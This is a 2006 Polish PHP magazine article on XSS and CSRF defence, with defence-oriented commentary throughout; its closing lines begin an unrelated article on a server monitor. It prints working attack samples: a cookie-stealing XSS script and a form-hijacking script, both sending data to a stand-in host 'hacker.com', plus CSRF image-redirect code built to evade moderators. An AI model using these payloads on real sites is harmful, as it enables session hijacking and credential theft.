www.phpsolmag.org50 PHP Solutions Nr 2/2006
RewriteEngine on
RewriteRule ^/me.jpg$ hacker.php
Po takiej podmianie, wszystkie odwołania
do me.jpg będą w rzeczywistości kiero-
wane do skryptu hacker.php, w którym
z kolei można wykorzystać kilka sztuczek
do zmylenia skryptów sprawdzających.
Jeśli na przykład znamy adres IP serwe-
ra, który testuje prawidłowość zawartości
pliku grafi cznego, możemy pod ten adres
odsyłać poprawny obraz, a resztę użyt-
kowników kierować pod inny, wybrany
przez nas (Listing 1).
Inne, bardziej uniwersalne podejście
polega na sprawdzaniu obecności nagłów-
ka HTTP_REFERER, dostarczanego przez
większość przeglądarek w celu wskazania
strony, z której nadeszło żądanie (Listing
2). Jeżeli PHP zgłasza żądanie spraw-
dzenia wykorzystujące getimagesize()
lub gdy administrator ręcznie sprawdza
odsyłacz do pliku, pole to jest puste. Dzię-
ki temu decyzję o ataku można też oprzeć
na obecności tego nagłówka: jeśli on
występuje, to próbujemy przeprowadzić
atak, a w przeciwnym razie wyświetlamy
niewinny plik grafi czny.
W niektórych przypadkach spreparo-
wana treść będzie musiała przejść proces
walidacji, co może na przykład dotyczyć
zatwierdzenia kolejnego wpisu w blogu
lub nowego awatara na forum. Jeśli bez-
pośrednio skorzystamy z wymienionych
sztuczek, przemęczony administrator czy
moderator będzie miał możliwość zauwa-
żenia i udaremnienia ataku. Aby uniknąć
wykrycia, możemy opóźnić wykonanie
skryptu o 1–2 dni albo po prostu zaczekać
z przekierowaniem, aż spreparowana treść
zostanie zatwierdzona. Można też wpro-
wadzić do ataku nieco losowości, by nie
każdy użytkownik był atakowany, oraz by
unikać dwukrotnego atakowania tego sa-
mego użytkownika, co pozwoli ograniczyć
szanse wykrycia (Listing 3).
Pojawiają się tu trzy mechanizmy
mające na celu utrudnienie wykry-
cia ataku. Po pierwsze, skrypt nie
będzie broił przez dwa dni od instalacji
(zakładając, że każdy atak jest zapisany
w osobnym skrypcie), co w większości
przypadków pozwoli ominąć proces
walidacji, jeśli takowy w ogóle istnieje.
Następnie zapisywany jest plik cookie
w celu śledzenia użytkownika i upewnienia
się, że nikt nie zostanie zaatakowany wię-
cej niż raz, dzięki czemu wykrycie ataku
będzie jeszcze trudniejsze. Ostatnim za-
Listing 1. Wysyłanie niewinnego pliku grafi cznego serwerowi wykonującemu
sprawdzenie zawartości obrazu przy jednoczesnym przekierowaniu wszystkich
innych żądań
if ($_SERVER['REMOTE_ADDR'] = '1.2.3.4') {
header("Content-Type: image/jpeg");
readfi le("./me.jpg");
} else {
header("Location: http://foobar.com/admin/delete_msg.php?=1");
}
Listing 2. Kod podejmujący decyzję o ataku na podstawie obecności pola
HTTP_REFERER
if (empty($_SERVER['HTTP_REFERER'])) {
header("Content-Type: image/jpeg");
readfi le("./me.jpg");
} else {
header("Location: http://foobar.com/admin/delete_msg.php?=1");
}
Listing 3. Unikanie wykrycia poprzez losowy wybór ofi ar
$deployment_time = fi lemtime(__FILE__);
if ($deployment_time < (time() + 86400 * 2) || isset($_COOKIE['h']) || !(rand() % 3)) {
header("Content-Type: image/jpeg");
readfi le("./me.jpg");
}
setcookie("h", "1", "hacker.com", time() + 86400 * 365, "/");
header("Location: http://foobar.com/admin/delete_msg.php?=1");
Listing 4. Pobranie obrazu na lokalną maszynę, sprawdzenie go, zapisanie i mo-
dyfi kacja pierwotnego odsyłacza w celu udaremnienia ewentualnego ataku
$img = "http://hacker.com/me.jpg";
fi le_put_contents($img_store_dir.md5($img), fi le_get_contents($img));
$i = getimagesize($img_store_dir.md5($img));
if (!$i && $i[0] < $max_width && $i[1] < $max_height) {
unlink($img_store_dir.md5($img));
}
rename($img_store_dir.md5($img),
$img_store_dir.md5($img).image_type_to_extension($i[2]));
Listing 5. Ustawiania czasu oczekiwania dla strumienia za pomocą funkcji
stream_set_timeout()
$fp = fopen($img_url, "r");
stream_set_timeout($fp, 1);
fi le_put_contents($destination_path, stream_get_contents($fp));
fclose($fp);
bezpieczeniem jest losowanie prawdopo-
dobieństwa ataku – przekierowane zosta-
nie mniej więcej co trzecie żądanie.
Wiemy już, na czym polega atak,
więc jak można mu przeciwdziałać? Tak
naprawdę są tylko dwie opcje. Pierwszą
z nich jest uniemożliwienie dostarczania
obrazków przez użytkowników. Choć
wydaje się to rozwiązaniem najbezpiecz-
niejszym i najłatwiejszym, to jednak dla
wielu twórców aplikacji byłby to zabieg
nadmiernie ograniczający możliwości ich
produktów. Drugą możliwością jest pobra-
nie każdego sprawdzanego pliku na lokal-
ny komputer, sprawdzenie go za pomocą
funkcji getimagesize(), a jeśli dane są
bezpieczne – zapisanie pliku na serwerze
i modyfi kacja odsyłacza do obrazu tak, by
wskazywał na plik lokalny zamiast zasobu
na zdalnym serwerze (Listing 4).
W tym przypadku zaczynamy od po-
brania obrazu i zapisania go w lokalnym
pliku w katalogu grafi ki, pod nazwą sta-
nowiącą skrót MD5 pierwotnego adresu.
Tak pobrany plik można już sprawdzić za
pomocą funkcji getimagesize(). Wstępne
zapisanie obrazu w pliku lokalnym jest ko-
nieczne, by uniemożliwić potencjalnemu
XSS, CSRF Bezpieczeństwo
www.phpsolmag.org 51PHP Solutions Nr 2/2006
napastnikowi modyfi kację treści pomiędzy
żądaniami. Gdyby obraz był sprawdzany
na podstawie adresu do pliku zdalnego,
a dopiero potem pobierany, napastnikowi
wystarczyłoby proste zliczanie żądań
z konkretnego adresu IP, by dla drugiego
żądania podmienić zwracaną treść i tym
samym umożliwić atak.
Pobranie pliku na maszynę lokalną
uniemożliwia ewentualną dalszą modyfi -
kację treści po stronie zdalnego serwera.
Wynikiem działania funkcji getimagesize()
jest tablica zawierająca różnego rodzaju
informacje o obrazie. Jeśli w wyniku wy-
wołania tej funkcji nie otrzymamy tablicy,
to wiemy, że nie mamy do czynienia
z poprawnym plikiem grafi cznym. Pierw-
szy etapem sprawdzenia poprawności
jest więc upewnienie się, że faktycznie
mamy do czynienia z obrazem, a drugim
– sprawdzenie rozmiarów obrazu, by po
wstawieniu na stronę nie zepsuł jej układu.
W przypadku niepowodzenia jednego ze
sprawdzeń, podejrzany plik jest usuwany
z dysku, by nie dopuścić do wyczerpania
miejsca. Ostatnim etapem walidacji jest
zmiana nazwy pliku i nadanie mu rozsze-
rzenia zgodnego z jego typem, by przeglą-
darki mogły poprawnie wyświetlać obraz.
Niezwykle istotnym jest, by NIE uży-
wać rozszerzenia pobranego z adresu do-
starczonego przez użytkownika, lecz usta-
lić je samodzielnie na podstawie zawarto-
ści pliku – jest to konieczne w celu unik-
nięcia niedawno odkrytego błędu w Inter-
net Explorerze. Usterka ujawnia się w sy-
tuacji, gdy rozszerzenie pliku grafi cznego
jest niezgodne z typem wynikającym z na-
główka pliku, na przykład gdy plik me.jpg
jest w rzeczywistości obrazem GIF. W ta-
kiej sytuacji IE robi coś bardzo dziwnego:
przetwarza plik w taki sposób, że wykonu-
je dowolny kod HTML osadzony w obra-
zie, co otwiera drogę do ataku XSS i CSRF
w przypadku bezpośredniego dostępu do
takiego pliku:
<GIF89a 8 f >
<html>
<head>
<script>alert("XSS");</script>
</head>
<body></body>
</html>
(Błąd odkrył Marc Ruef, http://www.securi-
team.com/windowsntfocus/6F100B00EBY.
html). Tak spreparowany plik obrazu po-
zwoliłby na udany atak niezależnie od wa-
lidacji za pomocą funkcji getimagesize(),
gdyż sprawdza ona jedynie nagłówek pliku,
który w tym przypadku jest jak najbardziej
dopuszczalny. Przypisując plikowi rozsze-
rzenie na podstawie typu deklarowanego
w nagłówku eliminujemy tę rozbieżność,
tym samym udaremniając atak.
Gdyby była to jedyna trudność zwią-
zana z proponowanym rozwiązaniem, to
zapewne byłoby ono szerzej stosowane.
Jest jednak kilka innych problemów. Po
pierwsze, lokalne zapisywanie wszyst-
kich plików grafi cznych może wymagać
bardzo dużo przestrzeni dyskowej, co
w przypadku operatorów witryn o ogra-
niczonych zasobach jest bardzo istotnym
czynnikiem. Co więcej, udostępnianie
wszystkich plików grafi cznych z serwe-
ra może znacznie zwiększyć zużycie
pasma, a tym samym podnieść koszty
utrzymania serwera. Częściowym roz-
wiązaniem obu trudności jest wprowa-
dzenie ograniczenia wielkości plików,
ale jest to raczej sposób na ominięcie
problemu niż jego rozwiązanie.
Najpoważniejszym chyba problemem
z pobieraniem pliku z poziomu PHP jest
podatność na atak Denial of Service
(DoS) skierowany przeciwko serwero-
wi. Pobranie pliku przez PHP wymaga
nawiązania połączenia z serwerem, na
którym on się znajduje. Jeśli serwer ten
jest powolny, połączenie się z nim może
nieco potrwać. Podczas nawiązywania
połączenia, proces PHP obsługujący
żądanie czeka bezczynnie na otwarcie
gniazda. Nie spowoduje to jednak żadne-
go ostrzeżenia, gdyż czekanie nie zużywa
czasu procesora. Czas oczekiwania jest
domyślnie ustawiony aż na 60 sekund,
co oznacza, że dany proces PHP może
być niezdatny do użytku nawet przez mi-
nutę. Wystarczy więc nakłonić wszystkie
aktywne procesy serwera WWW do po-
bierania plików zewnętrznych, by serwer
stał się niedostępny dla użytkowników.
Większość serwerów dopuszcza nie
więcej niż 200 równoczesnych połączeń,
więc dokonanie ataku DoS tą metodą
jest zadaniem trywialnym. Na szczęście
można temu zaradzić skracając czas
oczekiwania na połączenie do znacznie
bezpieczniejszych 2–5 sekund, co wy-
maga jedynie zmiany wartości parametru
default_socket_timeout w pliku php.ini.
Modyfi kację tę można też wykonać z po-
ziomu skryptu – wtedy nowy czas będzie
dotyczyć wszystkich połączeń nawiązy-
wanych przez PHP za pośrednictwem
API strumieni:
// ograniczenie czasu oczekiwania
// na połączenie
ini_set("default_socket_timeout", 5);
Wykonanie tego polecenia nie rozwiązu-
je problemu powolnego pobierania pliku.
R E K L A M A
XSS, CSRFBezpieczeństwo
www.phpsolmag.org52 PHP Solutions Nr 2/2006
Dodatkowym utrudnieniem jest fakt, że
strumienie PHP są domyślnie blokują-
ce, czyli raz otwarty strumień będzie do
skutku czekał na nadesłanie danych ze
zdalnego serwera, gdyż nie ma tu żad-
nego domyślnego czasu oczekiwania.
Sytuacja nie jest jednak beznadziejna
dzięki funkcji stream_set_timeout(), po-
zwalającej ustawić czas oczekiwania dla
strumienia (Listing 5). Funkcja ta operuje
jednak bezpośrednio na strumieniu, więc
musimy zmodyfi kować kod pobierający
plik tak, by nie korzystał z opakowującej
obsługę strumienia funkcji fi le_get_
contents().
Nowy kod pobierający plik nakazuje
PHP czekać na nadesłanie danych z gniaz-
da nie dłużej niż przez sekundę. Wy-
korzystanie trzeciego argumentu funkcji
stream_set_timeout() pozwala określić je-
szcze krótszy czas, mierzony w mikro-
sekundach – na przykład wywołanie
stream_set_timeout($fp,0,250000);
spowodowałoby ustawienie czasu oczeki-
wania na ćwierć sekundy. Jednak nawet
w przypadku starannego dobrania czasów
oczekiwania nadal istnieje droga ataku:
napastnik musi jedynie wysyłać dane
bardzo powoli, na przykład w tempie 5
bajtów na sekundę, tylko na tyle często, by
uniknąć przekroczenia czasu oczekiwania.
W przypadku obrazu wielkości 20 kilobaj-
tów pozwoliłoby to zająć serwer na 68 se-
kund, a większe pliki mogłyby oczywiście
zajmować dużo dłużej.
Niestety, tego typu atakowi w praktyce
nie da się zapobiec, gdyż wprowadzenie
obrony przed nim wymaga od programi-
stów znacznie więcej czasu i wysiłku, niż
są na ogół w stanie zainwestować. Roz-
wiązanie polegałoby na pobieraniu obrazu
we fragmentach jednobajtowych i ciągłym
monitorowaniu szybkości transmisji, co po-
zwoliłoby odrzucać połączenia wolniejsze
od pewnego ustalonego minimum. Wyma-
gałoby to zużycia nieporównanie większej
mocy obliczeniowej serwera do pobrania
tych samych danych.
Podsumowując ataki wykorzystujące
pliki grafi czne – jedynym stuprocentowym
rozwiązaniem jest uniemożliwienie użyt-
kownikom dostarczania własnej grafi ki.
Wszystkie inne zabezpieczeniautrudniają
przeprowadzanie tego typu ataków, ale
z pewnością im nie zapobiegają.
Niebezpieczne atrybuty CSS
Znacznik <img> jest wprawdzie najczęst-
szym sprawcą ataków CSRF, ale mogą
one też być przeprowadzane innymi
metodami, które pod pewnymi względa-
mi są znacznie bardziej nieprzyjemne,
a w dodatku trudniejsze do wykrycia.
Jedną z dróg ataku jest wykorzystanie
atrybutu CSS background, pozwalającego
określić plik grafi czny używany jako tło
dla elementu strony. Jak umieścić taki
atrybut w kodzie? Sposób jest znacznie
prostszy, niż mogłoby się wydawać,
a w dodatku dość często spotykany. Pro-
blem tkwi w tym, że wiele aplikacji PHP
pozwala użytkownikom określać sposób
wyświetlania wprowadzanych danych,
dopuszczając stosowanie w tekście pro-
stych znaczników formatujących HTML,
na przykład pogrubienia <b>, kursywy
<i> i tym podobnych. Implementacja ta-
kiego rozwiązania często bywa kłopotli-
wa. W wielu przypadkach dopuszczenie
znaczników formatujących odbywa się
z wykorzystaniem nieobowiązkowego
argumentu funkcji strip_tags(), pozwa-
lającego wyłączać z procesu usuwania ta-
gów określone, z założenia nieszkodliwe
znaczniki. Dzięki temu programista, który
chce pozwolić użytkownikom na stosowa-
nie znaczników formatujących, może na-
kazać funkcji, by tych akurat znaczników
nie usuwała, więc na przykład dopuszcze-
nie znaczników pogrubienia i kursywy wy-
magałoby wywołania strip_tags($test,
"<b><i>"). Mechanizm prosty i bezpiecz-
ny – tylko czy aby na pewno?
Niestety, nie jest to podejście bezpiecz-
ne. Funkcja strip_tags() przepuszcza
każdy dopuszczony znacznik w całości,
wraz ze wszelkimi atrybutami zapisany-
mi w jego obrębie. Napastnik nie może
wprawdzie wstawiać własnych tagów, ale
za to może umieszczać dowolne atrybuty
w znacznikach dopuszczanych przez apli-
kację. Specyfi kacja W3C nie przewiduje dla
znaczników w rodzaju <b> czy <i> obsługi
atrybutu stylu określającego tło elementu,
ale nie ma to większego znaczenia, gdyż
większość przeglądarek i tak obsługuje
takie atrybuty. Możemy więc wykorzystać
sztuczki pokazane przy okazji ataku po-
przez znacznik <img> – wystarczy wybrać
sobie dozwolony znacznik i wpisać w nim
atrybut stylu o treści na przykład takiej:
"background: url('http://hacker.com/
me.jpg')". Listing 6 przedstawia kod wyko-
rzystujący ten zabieg.
Ataki tego typu są o tyle nieprzyjemne,
że brakujący obrazek będzie w przeglądar-
ce wyświetlany jako tekst czy ikona, przez
Listing 6. Przykład niebezpiecznych stylów CSS
$text = '<b style="background: url(\'http://hacker.com/me/.jpg\')">TEST</b>';
// wypisuje tekst wraz z formatowaniem
echo strip_tags($text, "<b><i>");
Listing 7. Atak XSS na typowe pole wyszukiwarki
// kod PHP
<input type="text" name="s" value="<?php echo $_POST['q']; ?>" />
// wynikowy kod HTML po modyfi kacji
<input type="text" name="s" value=""> TEKST XSS <"" />
Listing 8. Przykładowy ciąg atakujący XSS
<script>
var r = new XMLHttpRequest();
r.open('get', 'http://hacker.com/?'+document.cookie);
r.send(null);
</script>
Listing 9. Atak XSS na formularze
<script>
for (i=0; i<document.forms.length; i++)
document.forms[i].action='http://hacker.com/x.php?'+ document.forms[i].action;
</script>
XSS, CSRFBezpieczeństwo
www.phpsolmag.org54 PHP Solutions Nr 2/2006
co łatwiej zauważyć, że coś jest nie w po-
rządku, ale brakującego tła nie widać, co
znacznie utrudnia wykrycie ataku.
Mam nadzieję, że ten przykład poka-
zał wystarczająco dobitnie, dlaczego nie
należy realizować obsługi znaczników
formatujących z wykorzystaniem funkcji
strip_tags(). Bezpieczniejszym roz-
wiązaniem byłoby zaimplementowanie
podzbioru tagów BBcode, które nie obsłu-
gują atrybutów. BBcode dostarcza zestaw
znaczników formatujących bardzo podob-
nych do tagów HTML-owych, ale prze-
znaczonych wyłącznie do ograniczonego
formatowania. Znaczniki wprowadzane
przez użytkowników są konwertowane
na kod HTML, dzięki czemu można dać
użytkownikom możliwość formatowania
tekstu bez otwierania drogi atakowi XSS
czy CSRF. Oczywiście nie trzeba w tym
celu pisać własnego parsera, gdyż istnieją
odpowiednie narzędzia tego typu. Dosko-
nale nadaje się do tego celu klasa PEAR
o nazwie HTML_BBCodeParser, dostępna
pod adresem http://pear.php.net/package/
HTML_BBCodeParser. Inną możliwością
jest dopuszczenie znaczników HTML i wy-
korzystanie funkcji z pakietu SafeHTML
(http://pixel-apes.com/safehtml), usuwa-
jących z przekazanego tekstu wszelkie
niebezpieczne elementy i atrybuty HTML.
Do przeprowadzenia ataku CSRF
można wykorzystać nie tylko sztuczki
z podstawionymi obrazkami w znacznikach
<img> i atrybutach tła, ale w także dowolny
inny znacznik, którego przetwarzanie wiąże
się z automatycznym pobieraniem wska-
zanego zasobu. Tagi w rodzaju <iframe>
czy <script> są na ogół bezpieczne, gdyż
są one z natury statyczne i niedostępne
dla użytkownika. Jeśli jednak możliwe jest
uzyskanie do nich dostępu za pośrednic-
twem niesprawdzonej zmiennej, mogą
one stanowić nie mniejsze zagrożenie od
mechanizmów opisanych wcześniej.
Teraz XSSAtaki CSRF polegają na wykorzystaniu
istniejących lub legalnie wprowadzanych
elementów strony do złośliwych celów,
natomiast celem ataku XSS jest omi-
nięcie procesu walidacji i tym samym
umożliwienie napastnikowi wstawienia
na stronę dowolnych treści. Podstawio-
ne w ten sposób dane mogą służyć do
wyłudzenia od użytkownika poufnych
informacji, wykonania określonych ope-
racji z uprawnieniami zalogowanego
użytkownika i tym podobnych działań.
Wyłom poczyniony przez udany atak
XSS może również posłużyć do przepro-
wadzenia w następnej kolejności ataku
CSRF, więc śmiało można powiedzieć,
że XSS jest atakiem o nieograniczonych
niemal możliwościach i stanowi poważne
zagrożenie. Co gorsza, podatność na
ataki XSS jest niezwykle powszechnym
problemem. Kilka tygodni temu okazało
się, że nawet nowe serwisy takich gi-
gantów, jak Google i Yahoo! są podatne
na takie ataki, a zgłoszenia pojawiające
się codziennie na listach dyskusyjnych
poświęconych bezpieczeństwu dowodzą
istnienia podobnych problemów w bar-
dzo wielu aplikacjach.
W większości przypadków błędy
umożliwiające atak XSS nie są specjalnie
głęboko ukryte – nierzadko podatna na
ten atak bywa nawet wyszukiwarka na
głównej stronie popularnego serwisu. Gdy
użytkownik wprowadza tekst do wyszuka-
nia, zapytanie jest wyświetlane na stronie
wyników, najczęściej w postaci gotowej
wartości pola <input>, by ułatwić zmianę
kryteriów wyszukiwania. Przeprowadzenie
ataku XSS jest możliwe przy braku wali-
dacji takiego pola. Wykorzystanie podat-
ności bywa banalnie proste – wystarczy
w wyszukiwarce podać ciąg "> TEKST
XSS <", gdzie TEKST XSS zawiera dowolne
dane, które mają być wstawione na stro-
nę. Początkowe znaki "> mają na celu
zakończenie znacznika <input>, którego
atrybut wartości zawiera treść zapytania,
natomiast końcowe znaki <" domykają
pozostałą część znacznika (Listing 7).
Jeśli taki atak się powiedzie, napast-
nik może niemal dowolnie modyfi kować
zawartość strony. Mógłby na przykład
pozyskać plik cookie należący do innego
użytkownika – wystarczyłoby zastąpić ciąg
TEKST XSS kodem z Listingu 8.
Wstawiane dane to w tym przy-
padku króciutki skrypt w JavaScripcie,
zgłaszający żądanie HTTP do witryny
wybranej przez hakera i przesyłający do
niej nazwy i zawartość wszystkich plików
cookie aktualnie ustawionych dla pe-
chowego użytkownika. Napastnik może
zapisać kopie tych plików na własnym
komputerze i tym samym uzyskać takie
prawa dostępu, jak zalogowany w ser-
wisie użytkownik. Wykorzystana w tym
przykładzie funkcja XMLHttpRequest()
jest obsługiwana tylko przez Mozilla
Firefox, ale IE udostępnia równoważną
funkcję ActiveXObject("Microsoft.XMLH
TTP") o identycznym działaniu.
Inna sztuczka nadaje się dobrze do
atakowania stron pobierających od użyt-
kownika informacje za pomocą formularzy,
na przykład stron logowania czy też formu-
larzy z żądaniem informacji o rozliczeniach
w witrynach związanych z handlem elektro-
nicznym. W tym przypadku ciąg atakujący
może posłużyć do takiej modyfi kacji właści-
wości action formularzy, by przesyłały one
zgłaszane dane do innej witryny.
Skrypt XSS przedstawiony na Listingu
9 modyfi kuje właściwość action wszyst-
kich formularzy na danej stronie zgodnie
z zamysłem napastnika, dzięki czemu
informacje podane przez użytkownika nie
trafi ą na zamierzoną stronę, tylko do intru-
za. Bardziej pomysłowy złoczyńca zadba
nie tylko o przechwycenie istotnych da-
nych, lecz również o ukrycie śladów ataku
poprzez przekierowanie tych danych tam,
gdzie powinny były trafi ć. Służy do tego
tymczasowe przekierowanie:
log_data($_GET, $_POST);
header("HTTP/1.0 307 Moved Permanently");
header("Location: ".$_SERVER['QUERY_STRING']);
Zgodnie ze specyfi kacją, przekierowanie
żądania POST powinno być potwierdzone
przez użytkownika – odpowiednie okno
dialogowe wyświetla Firefox. Wyświetlany
komunikat nie jest jednak zbyt czytelny,
więc wielu użytkowników odruchowo kliknie
opcję twierdzącą, a nawet jeśli tego nie
uczynią, to szkoda i tak została już wyrzą-
dzona, gdyż napastnik uzyskał wysłane
dane. Prawdziwą gratką dla intruza jest
w tym przypadku Internet Explorer, który
kompletnie ignoruje specyfi kację i dokonuje
przekierowania bez żadnego ostrzeżenia,
w efekcie całkowicie ukrywając fakt prze-
słania żądania POST za pośrednictwem
strony nieuprawnionej. Z punktu widzenia
użytkownika wygląda to po prostu tak,
jakby cała operacja została wykonana
pomyślnie, gdyż wszystko działa i nie
jest zgłaszany żaden problem. Cały atak
odbywa się poprzez przekierowania, więc
zawartość nagłówka HTTP_REFERER nie jest
aktualizowana i wykrycie ataku podczas
jego trwania nie jest możliwe.
Zdarzają się też aplikacje, których
twórcy nie docenili możliwości ataków XSS
i wprowadzili podstawowe, lecz niedosta-
teczne zabezpieczenia. Nierzadko bywa
tak, że niezbędne do wstawienia znacznika
znaki <, " i > są bezpiecznie kodowane
odpowiednio jako entytki >, "
i <, lecz znak apostrofu pozostaje
XSS, CSRF Bezpieczeństwo
www.phpsolmag.org 55PHP Solutions Nr 2/2006
nietknięty. Jest to typowy efekt korzysta-
nia z domyślnych ustawień funkcji PHP
htmlspecialchars() i htmlentities(), poz-
walających zakodować znaki specjalne
jako odpowiadające im encje HTML.
Problem niekodowanych apostrofów jest
taki, że atrybuty umieszczane w obrębie
znaczników HTML (i potencjalnie wypełnia-
ne danymi wprowadzanymi przez użyt-
kownika) mogą być ujęte właśnie w apo-
strofy. Napastnik może wykorzystać je do
domknięcia istniejącego atrybutu i dopisania
własnego. Moglibyśmy na przykład spróbo-
wać wstawić atrybut onMouseOver, który
wywoływałby zdarzenie JavaScriptu w mo-
mencie najechania myszą na zaatakowany
element strony. Tworząc kod służący do
przeprowadzenia ataku musimy jedynie
pamiętać o unikaniu znaków kodowanych
i używaniu apostrofu jako znaku obej-
mującego wartości atrybutów. Może się
to wydawać nieco skomplikowane, ale
w rzeczywistości przeprowadzenie takiego
ataku jest trywialne dzięki dwóm funkcjom
JavaScriptu: String.fromCharCode(),
pozwalającej zamienić listę kodów ASCII
na łańcuch złożony z odpowiadających im
znaków, oraz eval(), wykonującej kod zapi-
sany w przekazanym jej łańcuchu znaków.
Aby po najechaniu myszą na zaatakowany
element pojawiał się komunikat JavaScrip-
tu o treści XSS, wystarczy wstawić do
wartości dowolnego z atrybutów elementu
następujący ciąg:
' onMouseOver='eval(String.fromCharCode
(97,108,101,114,116,40,39,88,83,83,39,
41,59))' '
Początkowy apostrof zamyka otwarty atry-
but, a ostatni otwiera następny, by uniknąć
błędu parsowania HTML. Treść wstawio-
na pomiędzy apostrofami zawiera nowy
atrybut, którego wartością jest kod Java-
Scriptu wykonujący za pomocą funkcji
eval() polecenie alert('XSS'); złożone
z przekazanych kodów ASCII.
Aby uniknąć tego zagrożenia, na-
leży zawsze pamiętać o przekazywa-
niu ENT_QUOTES jako wartości drugiego
argumentu funkcji htmlspecialchars()
i htmlentities(), co spowoduje przeko-
dowanie apostrofów na odpowiadającą im
encję HTML '.
Pokrewnym błędem walidacji jest
zabezpieczanie treści dostarczanych
przez użytkownika wyłącznie za pomocą
funkcji strip_tags(). Funkcja ta bardzo
skutecznie usuwa znaczniki HTML, ale
nic nie robi w kwestii cudzysłowów i apo-
strofów, co w przypadku bezpośredniego
wykorzystania wprowadzanych danych
otwiera drogę do ataku ze wstawieniem
atrybutów. Poprawna walidacja polega
na wykonaniu funkcji strip_tags(), a na-
stępnie przetworzeniu wyniku jej działa-
nia za pomocą htmlspecialchars() lub
htmlentities():
// poprawna walidacja
$text = htmlspecialchars(
strip_tags($_POST['msg']),
ENT_QUOTES);
Tak sprawdzone dane są odporne na atak
i można je bezpiecznie zapisać na dysku
lub wyświetlić w przeglądarce użytkownika.
Kluczową sprawą jest walidacja
wszystkich danych wejściowych, nie-
zależnie od ich pochodzenia. Typowym
błędem jest fi ltrowanie jedynie danych
otrzymywanych za pośrednictwem żądań
GET i POST oraz plików cookie, a po-
mijanie walidacji danych pobieranych ze
zmiennych środowiskowych serwera za
pośrednictwem nadrzędnej zmiennej glo-
balnej $_SERVER. Niektórzy programiści
zapominają, że zmienne środowiskowe
są wprawdzie pobierane bezpośrednio
z serwera, ale ich wartości są często
ustalane na podstawie danych dostar-
czonych przez użytkownika, a więc mo-
gą stanowić takie samo zagrożenie, jak
informacje pobierane bezpośrednio. Co
więcej, dane te są często wyświetlane
w panelach administracyjnych w razie
wystąpienia błędu, przez co są o tyle bar-
dziej niebezpieczne, że ich ofi arą może
paść użytkownik o rozszerzonych upraw-
nieniach (administrator). Jeden z moż-
liwych ataków tego typu wykorzystuje
wartość zmiennej HTTP_HOST, zawierającej
nazwę domeny, w której znajduje się ak-
tualnie przetwarzana strona. Wydaje się,
że wartość ta powinna być bezpieczna
– napastnik nie może chyba zmienić na-
zwy domeny? To niezupełnie tak. Wartość
zmiennej jest pobierana z nagłówka Host
dostarczanego przez hosta zgłaszające-
go żądanie. Jeśli witryna ma własny ad-
res IP lub podstawowy (pierwszy) adres
z puli wirtualnych adresów IP, żądanie ze
spreparowaną wartością tego nagłówka
zostanie poprawnie przetworzone przez
serwer Apache. Oznacza to, że żądanie
strony z takiej witryny można sfałszować,
tym samym umieszczając dowolne dane
w zmiennej HTTP_HOST:
GET / HTTP/1.0
Host: <script>...
Efekt jest taki, że $_SERVER['HTTP_HOST']
zawiera teraz wartość <script>...
lub inne, znacznie bardziej szkodliwe
dane. Podobne sztuczki można stoso-
wać w przypadku innych nagłówków,
na przykład Via (zmienna HTTP_VIA)
czy X-Forwarded-For (zmienna HTTP_
X_FORWARDED_FOR), używanych przez
serwery pośredniczące do wskazywania
użytkownika, od którego pochodzi żą-
danie. Zamiast adresu lub listy adresów
IP, napastnik może zapisać w tych na-
główkach dowolne dane, które zostaną
wykonane przez każdy bez wyjątku
serwer WWW. Jedynym bezpiecznym
nagłówkiem jest chyba REMOTE_ADDR, który
przechowuje adres IP użytkownika, gdyż
jest on ustawiany przez serwer i może
zawierać wyłącznie poprawny adres.
Wszystkie inne wartości pobierane z na-
główków trzeba zawsze dokładnie spraw-
dzać przed wykorzystaniem.
PodsumowanieTen krótki przegląd możliwości ataków XSS
i CSRF pokazał, że stanowią one jak naj-
bardziej realne zagrożenie i trzeba się
przed nimi bronić. Zabezpieczenie aplika-
cji i serwerów przed atakami nie jest trud-
ne, więc bezpieczeństwo Twojego serwera
spoczywa wyłącznie w Twoich rękach. Kie-
rując się kilkoma prostymi zasadami moż-
na znacznie ograniczyć ryzyko nieautory-
zowanego dostępu do danych i spowodo-
wanych nim strat. �
Ilia Alshanetsky jest głównym architek-
tem oprogramowania w fi rmie Advanced
Internet Designs Inc., specjalizującej się
w audytach bezpieczeństwa, analizach
wydajności i tworzeniu aplikacji. Jest
twórcą FUDforum (http://fudforum.org)
stworzonego z myślą o połączeniu roz-
budowanych możliwości z wydajnością
i wysokim poziomem bezpieczeństwa.
Ilia należy do głównego zespołu progra-
mistów PHP i uczestniczył w tworzeniu
rozszerzeń między innymi dla SHMOP,
PDO, SQLite, GD i ncurses. Czynnie
uczestniczy w pracach zespołu kontroli
jakości PHP i ma na koncie setki popra-
wionych błędów, jak również sporo popra-
wek wydajnościowych i nowych funkcji.
Kontakt z autorem: [email protected]
O autorze
PHP Solutions Nr 2/2006
Projekty
www.phpsolmag.org56
Aby rozwiązać ten problem, stwo-
rzymy własny system monitorowa-
nia serwera – nazwiemy go Server
Monitoring System. Jego zadaniem będzie
pingowanie naszych serwerów, sprawdzał
ich dostępności i wyświetlanie danych
w czasie rzeczywistym, w postaci wykresu.
Podstawowe założeniaSprecyzujmy najpierw nasze wymagania
dotyczące systemu:
� możliwość testowania wielu serwerów,
� przechowywanie wyników w dogod-
nym miejscu,
� regularne wykonywanie testów i od-
świeżanie rezultatów,
� wyświetlanie wyników ostatniego testu
każdego z serwerów,
� wyświetlanie rezultatów w czasie rze-
czywistym – wykres liniowy.
Zacznijmy od problemu kluczowego: spo-
sobu testowania serwerów. Istnieje tu wie-
Wydaje nam się, że jeśli jeden z naszych
serwerów ulegnie awarii, ktoś bardzo szybko
nas o tym poinformuje. W rzeczywistości
nic takiego się nie wydarzy, ponieważ każdy
przyjmuje, że sami dbamy o swój sprzęt
i właśnie jesteśmy w trakcie przywracania
funkcjonowania systemu.
le możliwości, ale my wykorzystamy starą,
dobrą komendę ping, którą wywołamy
korzystając z wbudowanej do PHP funkcji
shell_exec(). Nasz kod PHP będzie ją
więc wykonywał jako polecenie powłoki
(patrz Listing 1).
Zbieranie i przetwarzanie danych z polecenia pingZa pomocą polecenia ping można uzy-
skać całkiem sporo informacji, nas jednak
interesuje wyłącznie to, czy i jak szybko
serwer odpowiedział na pingowanie. Ozna-
cza to, że w zwróconym przez funkcję
shell_exec() łańcuchu $command musimy
Piszemy monitor serwera w PHPPatrick O'Brien
W SIECI
1. http://www.jpowered.com/
php-scripts/php-gd.htm
– opis instalacji biblioteki GD
dla silnika PHP
2. http://www.boutell.com/gd/
– strona domowa biblioteki
GD
3. http://www.jpowered.com/
php-scripts/adv-graph-chart/
index.htm – zaawansowana
kolekcja wykresów i diagra-
